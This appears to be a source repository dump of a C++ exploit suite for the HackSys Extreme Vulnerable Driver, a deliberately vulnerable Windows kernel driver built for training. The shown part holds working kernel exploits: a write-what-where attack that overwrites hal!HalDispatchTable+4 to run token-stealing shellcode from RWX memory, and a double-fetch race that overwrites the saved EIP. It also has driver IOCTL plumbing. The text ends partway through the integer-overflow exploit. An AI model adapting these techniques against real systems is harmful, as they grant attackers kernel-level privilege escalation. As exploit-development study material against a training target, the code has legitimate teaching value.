├── ArbitraryOverwrite.cpp ├── ArbitraryOverwrite.h ├── DoubleFetch.cpp ├── DoubleFetch.h ├── Driver.cpp ├── Driver.h ├── HevdConstants.h ├── IExploit.h ├── IntegerOverflow.cpp ├── IntegerOverflow.h ├── LICENSE ├── NullPointerDereference.cpp ├── NullPointerDereference.h ├── PoolCorruption.cpp ├── PoolCorruption.h ├── README.md ├── StackOverflow.cpp ├── StackOverflow.h ├── StackOverflowGS.cpp ├── StackOverflowGS.h ├── TypeConfusion.cpp ├── TypeConfusion.h ├── UninitializedHeapVariable.cpp ├── UninitializedHeapVariable.h ├── UninitializedStackVariable.cpp ├── UninitializedStackVariable.h ├── UseAfterFree.cpp ├── UseAfterFree.h ├── common.cpp ├── common.h ├── exploit.cpp ├── payloads.cpp ├── payloads.h └── x64 ├── ArbitraryOverwriteGDI.py └── StackOverflow.py /ArbitraryOverwrite.cpp: -------------------------------------------------------------------------------- 1 | #include "ArbitraryOverwrite.h" 2 | 3 | bool 4 | ExploitArbitraryOverwrite::exploit() { 5 | 6 | /** 7 | * The purpose of this exploit is to leverage the following code during processing 8 | * of user-controlled input data in the driver: 9 | * PAGE:00014B2A mov edi, [esi+WriteWhatWhere.what] 10 | * PAGE:00014B2C mov ebx, [esi+WriteWhatWhere.where] 11 | * [...] 12 | * PAGE:00014B69 mov eax, [edi] 13 | * PAGE:00014B6B mov [ebx], eax 14 | * 15 | * The result of this code can be a Write-What-Where condition, leading to a 16 | * remote code execution. In order to put the Operating System in such state, we can 17 | * use for the `Where` part the address of hal!HalDispatchTable+4 as it's the address 18 | * of function callback named HaliQuerySystemInformation, that becomes invoked upon execution 19 | * of NtQueryIntervalProfile. There we can supply a pointer to the kernel shellcode located in 20 | * user-mode memory pages: 21 | * 22 | * *(hal!HalDispatchTable+4) = &KernelShellcode; 23 | **/ 24 | 25 | struct arbitrary_overwrite_structure { 26 | LPVOID* what; 27 | LPVOID where; 28 | }; 29 | 30 | const DWORD halDispatchTable = getHalDispatchTable(); 31 | if (!halDispatchTable) { 32 | wcerr << L"[!] Could not locate the `hal!HalDispatchTable` symbol!" << endl; 33 | return false; 34 | } 35 | 36 | // Now we are attempting to prepare a custom payload out of the default one named 37 | // token_stealing_win7. The adjusted payload will be able to restore that overwritten pointer 38 | // in order to preserve operating system's stability in a long run. 39 | const void* shellcodePtr = reinterpret_cast(prepareCustomPayload( 40 | halDispatchTable 41 | )); 42 | 43 | if(!shellcodePtr) { 44 | return false; 45 | } 46 | 47 | cout << "[+] `hal!HalDispatchTable+4` is located at: 0x" << hex << setw(8) << setfill('0') 48 | << halDispatchTable + 4 << endl; 49 | 50 | /** 51 | * we will be overwriting (hal!HalDispatchTable+4) that conta'ins function pointer to the 52 | * hal!HaliQuerySystemInformation. That function can be reached by the following chain: 53 | * 54 | * NtQueryIntervalProfile() -> KeQueryIntervalProfile() -> HaliQuerySystemInformation() 55 | * 56 | * So calling `NtQueryIntervalProfile()` will be sufficient to trigger our overwritten pointer. 57 | **/ 58 | 59 | arbitrary_overwrite_structure structure = { 60 | /* what */ const_cast(&shellcodePtr), 61 | /* where */ reinterpret_cast(halDispatchTable + 4) 62 | }; 63 | 64 | wcout << L"[+] Arbitrary Overwrite:\n\t- Where: 0x" << hex << setw(8) << setfill(L'0') 65 | << structure.where << L" (hal!HaliQuerySystemInformation)\n\t- What: 0x" 66 | << reinterpret_cast(shellcodePtr) << L" (address of shellcode in user space memory)" << endl; 67 | 68 | bool ret = driver.SendIOCTL ( 69 | ExploitArbitraryOverwrite::Ioctl_Code, 70 | &structure, 71 | sizeof(structure) 72 | ); 73 | 74 | invokeOverwrittenPointer(); 75 | 76 | return ret; 77 | } 78 | 79 | 80 | DWORD 81 | ExploitArbitraryOverwrite::getHalDispatchTable() { 82 | 83 | static const string halDispatchTable = "HalDispatchTable"; 84 | 85 | auto kernelModule = driver.GetKernelModuleInfos(); 86 | const DWORD kernelModuleImageBase = get<0>(kernelModule); 87 | const wstring kernelModuleName = get<2>(kernelModule); 88 | 89 | if(!kernelModuleImageBase) { 90 | wcerr << L"[!] Could not load kernel's module informations." << endl; 91 | return 0; 92 | } 93 | 94 | wcout << L"[.] Loading " << kernelModuleName << endl; 95 | 96 | // Loading `ntoskrnl` into process memory space. 97 | HMODULE kernelBaseInUserSpace = LoadLibraryW(kernelModuleName.c_str()); 98 | 99 | if(!kernelBaseInUserSpace) { 100 | DWORD err = GetLastError(); 101 | wcerr << L"[!] Could not load kernel's module. Error: " 102 | << getErrorString(err) << L" (" << err << L")" << endl; 103 | return 0; 104 | } 105 | 106 | cout << "[.] Determining " << halDispatchTable << " symbol's offset..." << endl; 107 | 108 | // Getting an address of `HalDispatchTable` symbol. 109 | const auto halDispatchTableAddr = GetProcAddress( 110 | kernelBaseInUserSpace, 111 | halDispatchTable.c_str() 112 | ); 113 | 114 | if(!halDispatchTableAddr) { 115 | wcerr << L"[!] Could not determine that symbol's offset"; 116 | return 0; 117 | } 118 | 119 | // Computing a real address of HalDispatchTable by the following formula: 120 | // realAddress = addrOfSymbolInLoadedModule - loadedModuleBase + realKernelBase; 121 | const DWORD halDispatchTableRealAddr = ( 122 | reinterpret_cast(halDispatchTableAddr) - 123 | reinterpret_cast(kernelBaseInUserSpace) + 124 | kernelModuleImageBase 125 | ); 126 | 127 | return halDispatchTableRealAddr; 128 | } 129 | 130 | 131 | LPVOID 132 | ExploitArbitraryOverwrite::prepareCustomPayload( 133 | DWORD halDispatchTableRealAddr 134 | ) { 135 | 136 | /** 137 | * This function allocates a RWX memory buffer that will hold a dynamically 138 | * adjusted kernel payload. Firstly, there will be a token_stealing_win7 payload copied 139 | * up to the trailiing four NOPs marking the point where such modification could be applied. 140 | * Then, after those NOPs, a function pointer restoration instructions will get copied. 141 | * Those instructions will be responsible for the following operation: 142 | * HalDispatchTable[1] = HalDispatchTable[1] + Difference; 143 | * Where difference is a hardcoded value being a bytes distance between two functions, namely: 144 | * HalpSetSystemInformation and HaliQuerySystemInformation. 145 | * Such constructed payload will then be used during the actual exploitation process. 146 | **/ 147 | 148 | auto shellcodePointer = adjustPayloadEpilogue(8); 149 | 150 | customPayload.reset(new PUCHAR(reinterpret_cast( 151 | VirtualAlloc ( 152 | (LPVOID)0, 153 | Shellcode_Size, 154 | MEM_COMMIT | MEM_RESERVE, 155 | PAGE_EXECUTE_READWRITE 156 | ))), 157 | [](PUCHAR *ptr) { 158 | if (*ptr != nullptr) { 159 | wcout << L"[.] Freeing memory allocated for the kernel payload." << endl; 160 | VirtualFree(*ptr, MEM_DECOMMIT, Shellcode_Size); 161 | delete ptr; 162 | } 163 | }); 164 | 165 | if(!customPayload) { 166 | wcerr << L"[!] Could not allocate memory for the custom payload!" << endl; 167 | return 0; 168 | } 169 | 170 | PUCHAR customPayloadPtr = reinterpret_cast(*customPayload); 171 | const PUCHAR tokenStealingPayloadPtr = reinterpret_cast(*shellcodePointer); 172 | size_t nopsCave = 0; 173 | 174 | // Looking for trailing four consecutive nops within template payload. 175 | for(size_t pos = 32; pos < tokenStealingPayloadSize; pos++) { 176 | if (tokenStealingPayloadPtr[pos + 0] == (UCHAR)0x90 && 177 | tokenStealingPayloadPtr[pos + 1] == (UCHAR)0x90 && 178 | tokenStealingPayloadPtr[pos + 2] == (UCHAR)0x90 && 179 | tokenStealingPayloadPtr[pos + 3] == (UCHAR)0x90 180 | ) { 181 | // Found NOPs cave. 182 | nopsCave = pos + 4; 183 | break; 184 | } 185 | } 186 | 187 | if (!nopsCave) { 188 | throw runtime_error("Looking for trailing four consecutive NOPs has failed."); 189 | } 190 | 191 | // A function pointer restoration instructions to be executed at the end of the payload. 192 | unsigned char restorePreviousPointer[18] = { 193 | 0xfa, // cli 194 | 0xb8, 0x44, 0x33, 0x22, 0x11, // mov eax, offset hal!HalDispatchTable+8 195 | 0x8b, 0x18, 0x81, // mov ebx, [eax] 196 | 0xeb, 0xdd, 0xcc, 0xbb, 0xaa, // sub ebx, diff 197 | 0x89, 0x58, 0xfc, // mov [eax - 4], ebx 198 | 0xfb // sti 199 | }; 200 | 201 | // Adjusting the function restoration stub with dynamically computed pointer and a difference. 202 | *(reinterpret_cast(&restorePreviousPointer[ 2])) = halDispatchTableRealAddr + 8; 203 | *(reinterpret_cast(&restorePreviousPointer[10])) = HAL_THIRD_TO_SECOND_ENTRY_DIFFERENCE; 204 | 205 | // Step 0: Memsetting with NOPes 206 | memset ( 207 | customPayloadPtr, 208 | 0x90, 209 | ExploitArbitraryOverwrite::Shellcode_Size 210 | ); 211 | 212 | // Step 1: Copy the first part of the shellcode up until four consecutive NOPs in it. 213 | memcpy ( 214 | customPayloadPtr, 215 | tokenStealingPayloadPtr, 216 | nopsCave 217 | ); 218 | 219 | // Step 2: Now append function pointer restoration instructions after that NOPs 220 | memcpy ( 221 | &customPayloadPtr[nopsCave], 222 | restorePreviousPointer, 223 | sizeof(restorePreviousPointer) 224 | ); 225 | 226 | // Step 3: Finally add the second part of the original payload. 227 | memcpy ( 228 | &customPayloadPtr[nopsCave + sizeof(restorePreviousPointer)], 229 | reinterpret_cast(&tokenStealingPayloadPtr[nopsCave]), 230 | tokenStealingPayloadSize - nopsCave 231 | ); 232 | 233 | wcout << L"[.] Constructed custom payload capable of restoring overwritten pointer." << endl; 234 | 235 | return *customPayload; 236 | } 237 | 238 | 239 | bool 240 | ExploitArbitraryOverwrite::invokeOverwrittenPointer() { 241 | 242 | wcout << L"[.] Invoking overwritten pointer by calling `NtQueryIntervalProfile`" << endl; 243 | 244 | typeNtQueryIntervalProfile NtQueryIntervalProfile; 245 | 246 | // Retrieve the address of the syscall NtQueryIntervalProfile within ntdll.dll 247 | NtQueryIntervalProfile = reinterpret_cast(GetProcAddress( 248 | GetModuleHandleW(L"ntdll.dll"), 249 | "NtQueryIntervalProfile" 250 | )); 251 | 252 | // Call the function in order to launch our shellcode 253 | ULONG dummy = 0; 254 | NTSTATUS stat = NtQueryIntervalProfile(2, &dummy); 255 | 256 | if (NT_SUCCESS(stat)) { 257 | return true; 258 | } else { 259 | wcerr << L"[!] NtQueryIntervalProfile failed with code: 0x" 260 | << hex << setw(8) << setfill(L'0') << stat << endl; 261 | return false; 262 | } 263 | } 264 | -------------------------------------------------------------------------------- /ArbitraryOverwrite.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | class ExploitArbitraryOverwrite : public IExploit { 8 | static constexpr wchar_t *Exploit_Name = L"Arbitrary Memory Overwrite / Write-What-Where"; 9 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE; 10 | static constexpr size_t Shellcode_Size = 256; 11 | 12 | shared_ptr customPayload; 13 | DWORD customPayloadSize; 14 | 15 | public: 16 | ExploitArbitraryOverwrite(Driver& driver) : IExploit(driver), customPayload(0) {} 17 | virtual ~ExploitArbitraryOverwrite() { } 18 | 19 | virtual const wchar_t* getName() const { 20 | return ExploitArbitraryOverwrite::Exploit_Name; 21 | }; 22 | 23 | virtual DWORD getIoctlCode() const { 24 | return ExploitArbitraryOverwrite::Ioctl_Code; 25 | } 26 | 27 | virtual bool exploit(); 28 | 29 | private: 30 | 31 | DWORD getHalDispatchTable(); 32 | LPVOID prepareCustomPayload(DWORD halDispatchTableRealAddr); 33 | bool invokeOverwrittenPointer(); 34 | }; 35 | -------------------------------------------------------------------------------- /DoubleFetch.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "DoubleFetch.h" 3 | 4 | bool 5 | ExploitDoubleFetch::exploit() { 6 | 7 | static const DWORD Max_Failures = 1000; 8 | static const size_t EIP_Overwrite_Offset = 2080; 9 | 10 | assert(EIP_Overwrite_Offset < Overflowing_Buffer_Size); 11 | 12 | ioctlInputBuffer.reset(new UCHAR[Overflowing_Buffer_Size]); 13 | if(!ioctlInputBuffer) { 14 | wcerr << L"[!] Could not allocate buffer of size: 0x" 15 | << hex << setw(8) << setfill(L'0') << Overflowing_Buffer_Size << endl; 16 | return false; 17 | } 18 | 19 | memset(ioctlInputBuffer.get(), 'A', Overflowing_Buffer_Size); 20 | 21 | auto shellcodePointer = adjustPayloadEpilogue(8, true); 22 | 23 | UCHAR *buffPtr = ioctlInputBuffer.get(); 24 | *(reinterpret_cast(&buffPtr[EIP_Overwrite_Offset])) = 25 | reinterpret_cast(*shellcodePointer); 26 | 27 | stopThreads = false; 28 | startThreads = false; 29 | 30 | flippingObject.buffer = ioctlInputBuffer.get(); 31 | flippingObject.size = Max_Accepted_Buffer_Size; 32 | 33 | wcout << L"[+] Step 1: Creating triggering thread (first one)." << endl; 34 | std::thread triggeringThread(&ExploitDoubleFetch::triggerThread, this); 35 | 36 | wcout << L"[+] Step 2: Creating flipping thread (second one)." << endl; 37 | std::thread flippingThread(&ExploitDoubleFetch::flipThread, this); 38 | 39 | wcout << L"[+] Step 3: Launch both threads - start fetching!" << endl; 40 | 41 | startThreads = true; 42 | 43 | DWORD counter = 0; 44 | while(!checkExploitSuccess(true) && counter++ < Max_Failures); 45 | 46 | stopThreads = true; 47 | triggeringThread.join(); 48 | flippingThread.join(); 49 | 50 | if (counter >= Max_Failures) { 51 | wcout << L"[!] Exploit failed: Couldn't elevate in " 52 | << dec << ioctlPackets 53 | << L" num of fetches." << endl << endl; 54 | return false; 55 | } 56 | 57 | wcout << L"[.] Exploit could have succeeded after " 58 | << dec << ioctlPackets << L" fetches." << endl << endl; 59 | 60 | return true; 61 | } 62 | 63 | void 64 | ExploitDoubleFetch::triggerThread() { 65 | while(!startThreads) {} 66 | 67 | while(!stopThreads) { 68 | driver.SendIOCTLQuiet ( 69 | ExploitDoubleFetch::Ioctl_Code, 70 | &flippingObject, 71 | sizeof(flippingObject) 72 | ); 73 | 74 | ioctlPackets++; 75 | } 76 | } 77 | 78 | void 79 | ExploitDoubleFetch::flipThread() { 80 | while(!startThreads) {} 81 | 82 | volatile register unsigned int flip = Flip_Difference; 83 | while(!stopThreads) { 84 | flippingObject.size ^= flip; 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /DoubleFetch.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "common.h" 7 | #include "IExploit.h" 8 | #include "HevdConstants.h" 9 | #include "payloads.h" 10 | 11 | class ExploitDoubleFetch : public IExploit { 12 | static constexpr wchar_t *Exploit_Name = L"Double Fetch"; 13 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_DOUBLE_FETCH; 14 | 15 | // This is maximum stack-based buffer size 16 | static constexpr unsigned int Max_Accepted_Buffer_Size = 0x800; 17 | 18 | // This value will constitute offset of 0x820 (2080) where the EIP is stored counting 19 | // from the beginning of overflowed buffer, and the additional 0x04 is for stating 20 | // that the one DWORD should be taken into account during memcpy in kernel. 21 | static constexpr unsigned int Flip_Difference = 0x24; 22 | 23 | static constexpr size_t Overflowing_Buffer_Size = Max_Accepted_Buffer_Size + Flip_Difference + 4; 24 | 25 | shared_ptr ioctlInputBuffer; 26 | std::atomic_bool startThreads; 27 | std::atomic_bool stopThreads; 28 | 29 | struct DoubleFetch { 30 | UCHAR *buffer; 31 | DWORD size; 32 | }; 33 | 34 | DoubleFetch flippingObject; 35 | DWORD ioctlPackets; 36 | 37 | public: 38 | ExploitDoubleFetch(Driver& driver) : IExploit(driver) { 39 | memset(&flippingObject, 0, sizeof(flippingObject)); 40 | ioctlPackets = 0; 41 | } 42 | virtual ~ExploitDoubleFetch() { } 43 | 44 | virtual const wchar_t* getName() const { 45 | return ExploitDoubleFetch::Exploit_Name; 46 | }; 47 | 48 | virtual DWORD getIoctlCode() const { 49 | return ExploitDoubleFetch::Ioctl_Code; 50 | } 51 | 52 | virtual bool exploit(); 53 | 54 | void triggerThread(); 55 | void flipThread(); 56 | }; 57 | -------------------------------------------------------------------------------- /Driver.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "Driver.h" 3 | 4 | #define SystemModuleInformation 11 5 | 6 | typedef struct _RTL_PROCESS_MODULE_INFORMATION 7 | { 8 | HANDLE Section; 9 | PVOID MappedBase; 10 | DWORD ImageBase; 11 | ULONG ImageSize; 12 | ULONG Flags; 13 | USHORT LoadOrderIndex; 14 | USHORT InitOrderIndex; 15 | USHORT LoadCount; 16 | USHORT OffsetToFileName; 17 | UCHAR FullPathName[256]; 18 | } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; 19 | 20 | typedef struct _RTL_PROCESS_MODULES 21 | { 22 | ULONG NumberOfModules; 23 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 24 | } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; 25 | 26 | 27 | Driver::Driver( 28 | const wstring& drvName, 29 | const wstring& alternativeDrvName, 30 | const IoctlNamesMap* ioctlNames 31 | ) 32 | : driverName(drvName), lastError(ERROR_SUCCESS), ioctlNamesMap(ioctlNames) 33 | { 34 | shared_ptr drvHandle(new HANDLE( 35 | CreateFileW( 36 | wstring(wstring(L"\\\\.\\") + driverName).c_str(), 37 | GENERIC_READ | GENERIC_WRITE, 38 | FILE_SHARE_READ | FILE_SHARE_WRITE, 39 | NULL, 40 | OPEN_EXISTING, 41 | FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 42 | NULL 43 | )), 44 | [](const HANDLE *ptr) { 45 | if( *ptr != (HANDLE)INVALID_HANDLE_VALUE && ptr != nullptr) { 46 | //wcout << L"[.] Closing driver's handle." << endl; 47 | CloseHandle(*ptr); 48 | } 49 | delete ptr; 50 | }); 51 | 52 | if( *drvHandle == static_cast(INVALID_HANDLE_VALUE)) { 53 | lastError = GetLastError(); 54 | wcerr << L"[!] Could not open \\Device\\" << driverName << L" driver's handle. Error: 0x" 55 | << lastError << endl; 56 | return; 57 | } 58 | 59 | driverHandle = move(drvHandle); 60 | wstring moduleName = (alternativeDrvName.size() > 0)? alternativeDrvName : drvName; 61 | 62 | driverImageBase = Driver::GetModuleImageBase(moduleName); 63 | if(!driverImageBase) { 64 | lastError = GetLastError(); 65 | } 66 | } 67 | 68 | 69 | Driver::~Driver() { 70 | 71 | } 72 | 73 | 74 | DWORD 75 | Driver::GetModuleImageBase( 76 | const wstring &imageNameParam 77 | ) { 78 | static const wstring ending(L".sys"); 79 | 80 | wstring imageName(imageNameParam); 81 | transform(imageName.begin(), imageName.end(), imageName.begin(), ::tolower); 82 | 83 | if(!equal(ending.rbegin(), ending.rend(), imageName.rbegin())) { 84 | imageName += ending; 85 | } 86 | 87 | shared_ptr modulesInfo( 88 | new RTL_PROCESS_MODULES[Max_Number_Of_Modules] 89 | ); 90 | 91 | if(!modulesInfo.get()) { 92 | wcerr << L"[!] Could not allocate memory for modulesInfo!" << endl; 93 | return 0; 94 | } 95 | 96 | NTSTATUS status = NtQuerySystemInformation( 97 | (SYSTEM_INFORMATION_CLASS)SystemModuleInformation, 98 | modulesInfo.get(), 99 | sizeof(RTL_PROCESS_MODULES) * Max_Number_Of_Modules, 100 | NULL 101 | ); 102 | 103 | if(!NT_SUCCESS(status)) { 104 | wcerr << L"[!] Could not obtain list of loaded driver modules! Status: 0x" 105 | << hex << setfill(L'0') << setw(8) << status << endl; 106 | return 0; 107 | } 108 | 109 | for(size_t i = 0; i < modulesInfo->NumberOfModules; i++ ) { 110 | 111 | const DWORD imageBase = modulesInfo->Modules[i].ImageBase; 112 | const char *moduleImageNamePointer = reinterpret_cast( 113 | modulesInfo->Modules[i].FullPathName 114 | + modulesInfo->Modules[i].OffsetToFileName); 115 | 116 | const string moduleImageName(moduleImageNamePointer); 117 | 118 | wstring moduleImageNameWide(moduleImageName.begin(), moduleImageName.end()); 119 | transform( 120 | moduleImageNameWide.begin(), 121 | moduleImageNameWide.end(), 122 | moduleImageNameWide.begin(), 123 | ::tolower); 124 | 125 | if(imageName == moduleImageNameWide) { 126 | wcout << L"[+] Found " << imageName << L" driver's base: 0x" 127 | << hex << setfill(L'0') << setw(8) << imageBase << endl; 128 | return imageBase; 129 | } 130 | } 131 | 132 | wcerr << L"[!] Could not find the " << imageName 133 | << L" module among the loaded modules." << endl; 134 | 135 | return 0; 136 | } 137 | 138 | 139 | tuple 140 | Driver::GetKernelModuleInfos() { 141 | 142 | shared_ptr modulesInfo( 143 | new RTL_PROCESS_MODULES[Max_Number_Of_Modules] 144 | ); 145 | 146 | if(!modulesInfo.get()) { 147 | wcerr << L"[!] Could not allocate memory for modulesInfo!" << endl; 148 | return make_tuple(0, 0, L""); 149 | } 150 | 151 | NTSTATUS status = NtQuerySystemInformation( 152 | (SYSTEM_INFORMATION_CLASS)SystemModuleInformation, 153 | modulesInfo.get(), 154 | sizeof(RTL_PROCESS_MODULES) * Max_Number_Of_Modules, 155 | NULL 156 | ); 157 | 158 | if(!NT_SUCCESS(status)) { 159 | wcerr << L"[!] Could not obtain list of loaded driver modules! Status: 0x" 160 | << hex << setfill(L'0') << setw(8) << status << endl; 161 | return make_tuple(0, 0, L""); 162 | } 163 | 164 | const char *moduleImageNamePointer = reinterpret_cast( 165 | modulesInfo->Modules[0].FullPathName 166 | + modulesInfo->Modules[0].OffsetToFileName); 167 | 168 | const string moduleImageName(moduleImageNamePointer); 169 | 170 | wstring moduleImageNameWide(moduleImageName.begin(), moduleImageName.end()); 171 | transform( 172 | moduleImageNameWide.begin(), 173 | moduleImageNameWide.end(), 174 | moduleImageNameWide.begin(), 175 | ::tolower); 176 | 177 | return make_tuple( 178 | modulesInfo->Modules[0].ImageBase, 179 | modulesInfo->Modules[0].ImageSize, 180 | moduleImageNameWide 181 | ); 182 | } 183 | 184 | 185 | bool 186 | Driver::SendIOCTL( 187 | DWORD ioctlCode, 188 | LPVOID inputBuffer, 189 | DWORD inputSize, 190 | LPVOID outputBuffer, 191 | DWORD outSize, 192 | LPDWORD writtenBytes, 193 | BOOL quiet 194 | ) { 195 | if(!quiet) { 196 | auto ioctlCodeString = [=]() -> const wchar_t* { 197 | wstringstream wss; 198 | wss << L"0x" << hex << setw(8) << setfill(L'0') << ioctlCode; 199 | return wss.str().c_str(); 200 | }; 201 | 202 | if (ioctlNamesMap) { 203 | auto ioctl = ioctlNamesMap->find(ioctlCode); 204 | if ( ioctl != ioctlNamesMap->end()) { 205 | wcout << endl << L"[+] Issuing IOCTL: " << ioctl->second << endl; 206 | } else { 207 | wcout << endl << L"[+] Issuing IOCTL: " << ioctlCodeString() << endl; 208 | } 209 | } else { 210 | wcout << endl << L"[+] Issuing IOCTL: " << ioctlCodeString() << endl; 211 | } 212 | } 213 | 214 | DWORD written = 0; 215 | bool ownAllocation = false; 216 | LPDWORD writtenPtr = (writtenBytes != nullptr)? writtenBytes : &written; 217 | 218 | if (inputBuffer == nullptr) { 219 | ownAllocation = true; 220 | inputBuffer = VirtualAlloc ((LPVOID)0, 221 | inputSize, 222 | MEM_COMMIT | MEM_RESERVE, 223 | PAGE_EXECUTE_READWRITE 224 | ); 225 | 226 | if (inputBuffer == nullptr) { 227 | wcout << L"[!] Could not allocate memory for " << inputSize << L" bytes! Error: " 228 | << GetLastError() << endl; 229 | throw runtime_error("allocation error"); 230 | } 231 | } 232 | 233 | if(!quiet) { 234 | wcout << hex << setw(8) << setfill(L'0') 235 | << L"[.] Input buffer: 0x" << inputBuffer 236 | << L", size: " << dec << inputSize << L" bytes. Output: 0x" 237 | << hex << outputBuffer << endl; 238 | } 239 | 240 | SetLastError(0); 241 | BOOL ret = DeviceIoControl(*driverHandle, 242 | ioctlCode, 243 | inputBuffer, 244 | inputSize, 245 | outputBuffer, 246 | outSize, 247 | writtenPtr, 248 | NULL 249 | ); 250 | 251 | const DWORD lastError = GetLastError(); 252 | 253 | if(!quiet) { 254 | wcout << hex << setw(8) << setfill(L'0') 255 | << L"[>] After sending IOCTL. ret: " << ((ret)? L"TRUE" : L"FALSE") 256 | << L", last error: " << dec << lastError << L", written bytes: " 257 | << dec << *writtenPtr << endl; 258 | 259 | if (lastError != ERROR_SUCCESS) { 260 | wcout << L"\tError message: " << getErrorString(lastError) << endl; 261 | } 262 | 263 | wcout << endl; 264 | } 265 | 266 | if (ownAllocation) { 267 | VirtualFree(inputBuffer, inputSize, MEM_DECOMMIT); 268 | } 269 | 270 | return ret; 271 | } 272 | 273 | 274 | -------------------------------------------------------------------------------- /Driver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | 5 | 6 | typedef std::map IoctlNamesMap; 7 | 8 | 9 | class Driver { 10 | 11 | static constexpr size_t Max_Number_Of_Modules = 1000; 12 | 13 | const wstring& driverName; 14 | shared_ptr driverHandle; 15 | DWORD driverImageBase; 16 | DWORD lastError; 17 | const IoctlNamesMap* ioctlNamesMap; 18 | 19 | public: 20 | Driver( 21 | const wstring& driverName, 22 | const wstring& alternativeDrvName = L"", 23 | const IoctlNamesMap* ioctlNames = nullptr 24 | ); 25 | 26 | ~Driver(); 27 | 28 | static DWORD GetModuleImageBase( const wstring &imageNameParam); 29 | 30 | // Returns tuple of 31 | static tuple GetKernelModuleInfos(); 32 | 33 | operator!() { 34 | return (lastError != ERROR_SUCCESS); 35 | } 36 | 37 | DWORD getError() { 38 | return lastError; 39 | } 40 | 41 | bool SendIOCTL ( 42 | DWORD ioctlCode, 43 | LPVOID inputBuffer, 44 | DWORD inputSize, 45 | LPVOID outputBuffer = nullptr, 46 | DWORD outSize = 0, 47 | LPDWORD writtenBytes = nullptr, 48 | BOOL quiet = false 49 | ); 50 | 51 | bool SendIOCTLQuiet ( 52 | DWORD ioctlCode, 53 | LPVOID inputBuffer, 54 | DWORD inputSize, 55 | LPVOID outputBuffer = nullptr, 56 | DWORD outSize = 0, 57 | LPDWORD writtenBytes = nullptr 58 | ) { 59 | return SendIOCTL(ioctlCode, inputBuffer, inputSize, outputBuffer, outSize, writtenBytes, true); 60 | } 61 | 62 | HANDLE getRawDriverHandle() const { 63 | return (*driverHandle); 64 | } 65 | }; 66 | -------------------------------------------------------------------------------- /HevdConstants.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | enum IOCTL_CODES { 7 | HACKSYS_EVD_IOCTL_STACK_OVERFLOW = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS), 8 | HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS), 9 | HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS), 10 | HACKSYS_EVD_IOCTL_POOL_OVERFLOW = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS), 11 | HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS), 12 | HACKSYS_EVD_IOCTL_USE_UAF_OBJECT = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS), 13 | HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS), 14 | HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS), 15 | HACKSYS_EVD_IOCTL_TYPE_CONFUSION = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS), 16 | HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS), 17 | HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS), 18 | HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS), 19 | HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS), 20 | HACKSYS_EVD_IOCTL_DOUBLE_FETCH = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_NEITHER, FILE_ANY_ACCESS) 21 | }; 22 | 23 | -------------------------------------------------------------------------------- /IExploit.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "Driver.h" 5 | 6 | class IExploit { 7 | protected: 8 | static const wchar_t* Exploit_Name; 9 | static const DWORD Ioctl_Code; 10 | Driver& driver; 11 | 12 | public: 13 | IExploit(Driver& driver) : driver(driver) {} 14 | //virtual ~IExploit() = 0; 15 | 16 | virtual const wchar_t* getName() const = 0; 17 | virtual DWORD getIoctlCode() const = 0; 18 | 19 | virtual bool exploit() = 0; 20 | }; 21 | 22 | -------------------------------------------------------------------------------- /IntegerOverflow.cpp: -------------------------------------------------------------------------------- 1 | #include "IntegerOverflow.h" 2 | 3 | bool 4 | ExploitIntegerOverflow::exploit() { 5 | 6 | static const size_t Buffer_End_Magic_Marker = 0x0BAD0B0B0; 7 | static const size_t Actual_Buffer_Size = 0x0000FFFF; 8 | static const size_t Declared_Input_Buffer_Size = 0xFFFFFFFF; 